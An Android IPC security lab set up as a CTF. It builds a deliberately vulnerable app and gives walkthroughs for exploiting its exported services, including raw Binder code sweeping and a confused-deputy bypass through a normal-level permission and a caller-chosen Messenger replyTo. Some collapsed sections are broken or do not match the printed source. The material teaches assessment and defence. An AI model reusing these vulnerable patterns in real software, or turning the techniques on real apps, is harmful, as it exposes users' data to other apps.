Lab 05 — CTF: The Silent Door¶
Four flags. Three are extracted from a service that does not want to give them up. The fourth is awarded for correctly declining to report something, and it is worth as much as the other three together.
| Difficulty | Advanced (CTF) |
| Time | 3–5 hours |
| Needs | Everything from Labs 01–04: adb, build-tools 35.0.1+, a JDK, the prober, Frida (optional but faster) |
| Measured against | Redmi M2101K6P, Android 11 / API 30, arm64 |
| Rules | You may decompile the challenge APK. You may not read ChallengeService.java in this file until you have the flag you are working on — the source is printed at the end so the lab is reproducible, not so you can skip it |
Flag format: CH28{...}, ASCII only.
0. The brief¶
A vendor has shipped an app called DoorKeeper. Your client asks for an assessment of its exported IPC surface. You have the APK and a test device.
You are told, informally, that "the services are all internal, so there is nothing to look at". Four things are wrong with that sentence and your job is to find out which.
1. Build and install the challenge¶
Create the project:
# host
mkdir -p ~/ch28-ctf/src/com/doorkeeper/app ~/ch28-ctf/res/xml
cd ~/ch28-ctf
Write AndroidManifest.xml:
# host
cat > AndroidManifest.xml <<'EOF'
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.doorkeeper.app">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/>
<permission android:name="com.doorkeeper.permission.SERVICE"
android:protectionLevel="normal"/>
<application android:label="DoorKeeper">
<!-- Door 1 -->
<service android:name=".GateService" android:exported="true">
<intent-filter>
<action android:name="com.doorkeeper.action.OPEN"/>
<action android:name="com.doorkeeper.action.STATUS"/>
</intent-filter>
</service>
<!-- Door 2 -->
<service android:name=".TelemetryService" android:exported="true"
android:permission="com.doorkeeper.permission.SERVICE">
<intent-filter>
<action android:name="com.doorkeeper.action.TELEMETRY"/>
</intent-filter>
</service>
<!-- Door 3 -->
<service android:name=".RelayService" android:exported="true"
android:process=":relay">
<intent-filter>
<action android:name="com.doorkeeper.action.RELAY"/>
</intent-filter>
</service>
<!-- Door 4 -->
<service android:name=".VaultKeeperService" android:exported="true">
<intent-filter>
<action android:name="com.doorkeeper.action.VAULT"/>
</intent-filter>
</service>
</application>
</manifest>
EOF
Write the AIDL:
# host
cat > src/com/doorkeeper/app/IGate.aidl <<'EOF'
package com.doorkeeper.app;
interface IGate {
String status();
String openSesame(String key);
}
EOF
cat > src/com/doorkeeper/app/IVaultKeeper.aidl <<'EOF'
package com.doorkeeper.app;
interface IVaultKeeper {
String describe();
String unlock(String pin);
}
EOF
The Java source is at the end of this file, in §8. Copy it into
src/com/doorkeeper/app/, then build exactly as in Lab 03 §1 (two aidl
invocations, one javac, one d8, one aapt2 link, zip, sign) and install:
# host
adb install -r doorkeeper.apk
adb shell "dumpsys package com.doorkeeper.app | grep userId="
Also make sure the prober from Lab 02 is installed:
# host
adb shell pm list packages | grep ch28probe
2. Reconnaissance — do this before touching a flag¶
# host
python3 <repo>/28-Services/scripts/service-recon.py --package com.doorkeeper.app
Expected:
VERDICT COMPONENT PERMISSION FLAGS
OPEN com.doorkeeper.app/com.doorkeeper.app.GateService -
OPEN com.doorkeeper.app/com.doorkeeper.app.RelayService - OWN-PROCESS
OPEN com.doorkeeper.app/com.doorkeeper.app.VaultKeeperService -
WEAK-PERM com.doorkeeper.app/com.doorkeeper.app.TelemetryService com.doorkeeper.permission.SERVICE
Warm-up questions. Answer them before you start.
- W1. The client said "the services are all internal". How many of the four can an app with no permissions reach?
- W2.
TelemetryServiceis guarded bycom.doorkeeper.permission.SERVICE. Look up its protection level. Does it guard anything? - W3.
RelayServiceis flaggedOWN-PROCESS. What practical difference does that make to how you test it, and is it a security boundary?
Warm-up answers
**W1.** All four. Three are `OPEN`; the fourth is behind a `normal` permission, which any app obtains by adding one `adb shell "pm list permissions -f -g | grep -A4 'permission:com.doorkeeper.permission.SERVICE'"
# protectionLevel:normal
adb shell ps -A | grep doorkeeper
frida -U -p <relay pid> -l ... --runtime=v8
3. Flag 1 — the door that only opens for the right knock¶
Target: GateService.
# host
adb logcat -c
adb shell am start -n com.pentest.ch28probe/.ProbeActivity \
--es targets 'com.doorkeeper.app/com.doorkeeper.app.GateService'
sleep 8
adb logcat -d -s CH28
CH28: BIND-RETURN com.doorkeeper.app/com.doorkeeper.app.GateService => true
CH28: SUMMARY [...=true]
CH28: PROBE-DONE
true, and no CONNECTED line.
Hint 1. You have seen this exact behaviour before, on a real system service, in Lab 02.
Hint 2. The probe sends a bare component Intent with no action. The manifest lists two actions for this service.
Hint 3.
bindServiceaccepting your request andonBindreturning something are different events. From API 28 the framework will tell you the difference explicitly.
Your task: get a connection, recover the interface, and make it give you the flag.
Walkthrough
`onBind` switched on `intent.getAction()` and returned `null` for an Intent with no action. Get the actions:# host
adb shell "dumpsys package r | grep -B2 -A2 doorkeeper" | head -20
# or from the APK
aapt2 dump xmltree --file AndroidManifest.xml doorkeeper.apk | grep -A6 "E: action"
com.doorkeeper.action.OPEN
com.doorkeeper.action.STATUS
String action = getIntent().getStringExtra("action");
Intent i = new Intent();
i.setComponent(cn);
if (action != null) i.setAction(action);
# host
adb shell am start -n com.pentest.ch28probe/.ProbeActivity \
--es targets 'com.doorkeeper.app/com.doorkeeper.app.GateService' \
--es action 'com.doorkeeper.action.STATUS' \
--es tokencodes '1'
CH28: CONNECTED ... descriptor='com.doorkeeper.app.IGate' alive=true ping=true local=false
CH28: TOKEN-TX code=1 ok=true replyBytes=... exception=(none)
string='CH28{onBind_can_say_no_and_bindService_still_says_true}'
4. Flag 2 — the door with no name plate¶
Target: RelayService.
# host
adb shell am start -n com.pentest.ch28probe/.ProbeActivity \
--es targets 'com.doorkeeper.app/com.doorkeeper.app.RelayService' \
--es action 'com.doorkeeper.action.RELAY'
sleep 8
adb logcat -d -s CH28
CH28: CONNECTED ... descriptor='' alive=true ping=true local=false
CH28: TX code=1 ok=false replyBytes=0 exception=(none)
CH28: TX code=2 ok=false replyBytes=0 exception=(none)
CH28: TX code=3 ok=false replyBytes=0 exception=(none)
Connected, empty descriptor, and codes 1–3 do nothing.
Hint 1. An empty descriptor means this is not an AIDL
Stub. What does that tell you aboutenforceInterface?Hint 2.
ok=falsemeans the defaultonTransactdid not handle the code. The probe stops at 3. There is no rule saying a hand-writtenonTransactmust start at 1.Hint 3. Codes below
FIRST_CALL_TRANSACTIONand above it are both legal. Somebody who did not want their codes guessed would not choose 1, 2 or 3.
Your task: find the live transaction code and read the flag out of the reply.
Walkthrough
An empty descriptor means a raw `Binder` with a hand-written `onTransact` — there is **no interface token to get right**, so every code is reachable with an empty parcel ([25 §3.9](../../25-Binder/README.md)). That makes sweeping cheap. Extend the prober's `probeCodes` to take a range:// replace the fixed 1..3 loop
int lo = 1, hi = 200;
String range = getIntent().getStringExtra("range");
if (range != null) {
String[] p = range.split("-");
lo = Integer.parseInt(p[0]); hi = Integer.parseInt(p[1]);
}
for (int code = lo; code <= hi; code++) { ... }
# host
adb shell am start -n com.pentest.ch28probe/.ProbeActivity \
--es targets 'com.doorkeeper.app/com.doorkeeper.app.RelayService' \
--es action 'com.doorkeeper.action.RELAY' --es range '1-200'
adb logcat -d -s CH28 | grep "ok=true"
CH28: TX ... code=42 ok=true replyBytes=... exception=(none)
string='CH28{a_raw_Binder_has_no_token_to_get_wrong}'
# host
apktool d doorkeeper.apk -o out/ -f
grep -rn -A20 "onTransact" out/smali/com/doorkeeper/app/RelayService*.smali | head -40
5. Flag 3 — the door that answers to whoever you name¶
Target: VaultKeeperService.
# host
adb shell am start -n com.pentest.ch28probe/.ProbeActivity \
--es targets 'com.doorkeeper.app/com.doorkeeper.app.VaultKeeperService' \
--es action 'com.doorkeeper.action.VAULT' --es tokencodes '1+2'
adb logcat -d -s CH28
CH28: CONNECTED ... descriptor='com.doorkeeper.app.IVaultKeeper'
CH28: TOKEN-TX code=1 ok=true ... string='vault sealed. ask the courier.'
CH28: TOKEN-TX code=2 ok=true ... exception=java.lang.SecurityException: caller uid 10313 is not authorised
describe() works. unlock() checks the caller and refuses you — correctly,
inside the Stub method, using Binder.getCallingUid().
Hint 1. "ask the courier". There is a fourth door you have not used.
Hint 2.
TelemetryServiceis guarded by a permission. Look up its protection level again.Hint 3.
TelemetryServiceis aMessenger, not AIDL. What does aMessengerclient put in a message when it wants an answer back?Hint 4.
VaultKeeperServicerefuses you. Does it refuseTelemetryService? They share a uid.
Your task: get the vault open without being the authorised uid.
Walkthrough
**Step 1 — get past the permission.** Add it to the prober's manifest:<uses-permission android:name="com.doorkeeper.permission.SERVICE"/>
# host
jadx -d out/ doorkeeper.apk
grep -rn -A25 "handleMessage" out/sources/com/doorkeeper/app/TelemetryService.java
case 7: // MSG_FETCH_SECRET -- asks VaultKeeper on the caller's behalf
// after onServiceConnected(name, svc) for TelemetryService
Messenger target = new Messenger(svc);
Messenger mine = new Messenger(new Handler(Looper.getMainLooper()) {
@Override public void handleMessage(Message m) {
Log.i("CH28", "COURIER REPLIED: " + m.getData().getString("secret"));
}
});
Message m = Message.obtain(null, 7);
m.replyTo = mine;
try { target.send(m); } catch (RemoteException e) { Log.w("CH28", "send failed", e); }
CH28: COURIER REPLIED: CH28{the_deputy_was_confused_by_a_reply_channel}
6. Flag 4 — the door you must not report¶
There is one more service you have bound: GateService's second method,
openSesame(String key), transaction code 2.
# host
adb shell am start -n com.pentest.ch28probe/.ProbeActivity \
--es targets 'com.doorkeeper.app/com.doorkeeper.app.GateService' \
--es action 'com.doorkeeper.action.OPEN' --es tokencodes '2'
adb logcat -d -s CH28
CH28: CONNECTED ... descriptor='com.doorkeeper.app.IGate'
CH28: TOKEN-TX code=2 ok=true replyBytes=... exception=(none)
string='DOOR OPENED. sequence=1. hint: the door leads outside.'
An exported service, no permission, reachable by any app, and a method literally
called openSesame that returns DOOR OPENED. It looks like the best finding in
the whole assessment.
Hint 1. Apply the rubric in README §5.7, all five questions, in order. Do not skip question 3.
Hint 2. Read what
openSesameactually does, not what it is called.Hint 3. "The door leads outside." What is on the other side, and could you have got there yourself?
Your task: decide whether to report it, and write the sentence.
Walkthrough
Decompile it:# host
grep -rn -A20 "openSesame" out/sources/com/doorkeeper/app/GateService.java
@Override public String openSesame(String key) {
// No caller check. Deliberately.
sequence++;
Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse("https://doorkeeper.example/help"));
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(i);
return "DOOR OPENED. sequence=" + sequence + ". hint: the door leads outside.";
}
FAILED. you called this 6 times. an effect you could have produced yourself is not a finding.
string='CH28{not_every_open_door_leads_anywhere_worth_reporting}'
7. Scoring and debrief¶
| Flag | Skill | Worth |
|---|---|---|
| 1 | bindService true ≠ connected; recovering the action |
1 |
| 2 | Raw Binder, no token, sweep the codes |
1 |
| 3 | Weak permission + confused deputy + replyTo |
2 |
| 4 | Declining to report a non-finding | 3 |
If you scored flags 1–3 and reported flag 4's service as a vulnerability, you scored 4 out of 7 and you would have damaged a real engagement.
The report this app deserves¶
Controls observed
- VaultKeeperService.unlock() performs a caller check in the correct place,
using Binder.getCallingUid() inside the Stub method. It refused an
unauthorised caller under test.
Findings
1. TelemetryService is guarded by a permission declared at
protectionLevel="normal" (High). Any application obtains it by requesting
it. Fix: signature. One line.
2. TelemetryService replies to msg.replyTo (High). The reply channel is
chosen by the caller, so data is delivered to a Messenger the attacker
supplied. Combined with (1) this yields a full bypass of
VaultKeeperService's otherwise-correct authorisation. Fix: reply only to a
channel registered against an authenticated sendingUid, or use AIDL.
3. RelayService exposes an undocumented transaction code on a raw Binder
(Medium — grade by what code 42 actually does in the real app).
Surface reduction, not vulnerabilities
- GateService is exported without need; openSesame() delegates no privilege.
- RelayService runs in :relay, which is process separation, not a security
boundary — do not rely on it as one.
- sequence in GateService is mutated from concurrent Binder threads without
synchronisation.
8. Challenge source¶
Copy these into src/com/doorkeeper/app/. Read them only after you have the
flag you are working on.
// GateService.java
package com.doorkeeper.app;
import android.app.Service;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
public class GateService extends Service {
private int sequence = 0; // deliberately unsynchronised
private final IGate.Stub binder = new IGate.Stub() {
@Override public String status() {
if (openedOutside) {
return "CH28{not_every_open_door_leads_anywhere_worth_reporting}";
}
return "CH28{onBind_can_say_no_and_bindService_still_says_true}";
}
@Override public String openSesame(String key) {
sequence++;
if (sequence > 5) {
return "FAILED. you called this " + sequence + " times. "
+ "an effect you could have produced yourself is not a finding.";
}
openedOutside = true;
Intent i = new Intent(Intent.ACTION_VIEW,
Uri.parse("https://doorkeeper.example/help"));
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
try { startActivity(i); } catch (Exception ignored) { }
return "DOOR OPENED. sequence=" + sequence
+ ". hint: the door leads outside.";
}
};
private volatile boolean openedOutside = false;
@Override public IBinder onBind(Intent intent) {
// The whole of flag 1: no action, no binder.
if (intent == null || intent.getAction() == null) return null;
String a = intent.getAction();
if ("com.doorkeeper.action.OPEN".equals(a)
|| "com.doorkeeper.action.STATUS".equals(a)) {
return binder;
}
return null;
}
}
// RelayService.java
package com.doorkeeper.app;
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
public class RelayService extends Service {
// A raw Binder with a hand-written onTransact. No AIDL, so no descriptor,
// so nothing enforces an interface token and every code is reachable.
//
// Note the `throws RemoteException` on the override: Binder.onTransact
// declares it, so omitting it here does not compile. That is a small thing
// and it is also the first difference you will notice between a
// hand-written onTransact and an AIDL-generated one, which never throws.
private final Binder binder = new Binder() {
@Override protected boolean onTransact(int code, Parcel data,
Parcel reply, int flags)
throws RemoteException {
if (code == 42) {
if (reply != null) {
reply.writeNoException();
reply.writeString("CH28{a_raw_Binder_has_no_token_to_get_wrong}");
}
return true;
}
return super.onTransact(code, data, reply, flags);
}
};
@Override public IBinder onBind(Intent intent) { return binder; }
}
// VaultKeeperService.java
package com.doorkeeper.app;
import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;
import android.os.Process;
public class VaultKeeperService extends Service {
static final String SECRET = "CH28{the_deputy_was_confused_by_a_reply_channel}";
private final IVaultKeeper.Stub binder = new IVaultKeeper.Stub() {
@Override public String describe() {
return "vault sealed. ask the courier.";
}
// A CORRECT check: right place, right API, inside the transaction.
// It is defeated anyway, because a same-uid sibling will ask on the
// attacker's behalf and reply to a channel the attacker chose.
@Override public String unlock(String pin) {
int uid = Binder.getCallingUid();
if (uid != Process.myUid()) {
throw new SecurityException("caller uid " + uid + " is not authorised");
}
return SECRET;
}
};
@Override public IBinder onBind(Intent intent) { return binder; }
}
// TelemetryService.java
package com.doorkeeper.app;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.os.Message;
import android.os.Messenger;
import android.os.RemoteException;
import android.util.Log;
public class TelemetryService extends Service {
static final int MSG_PING = 1;
static final int MSG_FETCH_SECRET = 7;
private final Handler handler = new Handler(Looper.getMainLooper()) {
@Override public void handleMessage(final Message msg) {
// Note what is missing: any use of msg.sendingUid.
switch (msg.what) {
case MSG_PING:
break;
case MSG_FETCH_SECRET: {
final Messenger replyTo = msg.replyTo; // CALLER CHOSEN
Intent i = new Intent("com.doorkeeper.action.VAULT");
i.setComponent(new ComponentName(getPackageName(),
VaultKeeperService.class.getName()));
bindService(i, new ServiceConnection() {
@Override public void onServiceConnected(ComponentName n, IBinder b) {
try {
// We are the same uid as the vault, so its
// correct check passes for us.
String s = IVaultKeeper.Stub.asInterface(b).unlock("0000");
Bundle out = new Bundle();
out.putString("secret", s);
Message m = Message.obtain(null, MSG_FETCH_SECRET);
m.setData(out);
if (replyTo != null) replyTo.send(m);
} catch (RemoteException e) {
Log.w("DoorKeeper", "reply failed", e);
}
}
@Override public void onServiceDisconnected(ComponentName n) { }
}, Context.BIND_AUTO_CREATE);
break;
}
}
}
};
private final Messenger messenger = new Messenger(handler);
@Override public IBinder onBind(Intent intent) { return messenger.getBinder(); }
}
9. Cleanup¶
# host
adb uninstall com.doorkeeper.app
adb uninstall com.pentest.ch28probe
rm -rf ~/ch28-ctf
10. If you want to make it harder¶
- Give
RelayServicea code that only responds when the parcel contains a specificintfirst, so a bare sweep finds nothing. - Move
VaultKeeperServiceinto a second APK signed with the same key, so the same-uid shortcut becomes a same-signature one and the confused deputy crosses a package boundary. - Declare
TelemetryServicewithandroid:isolatedProcess="true"and watch the deputy chain break — then explain, in one paragraph, exactly which link broke and why. That explanation is worth more than any of the four flags.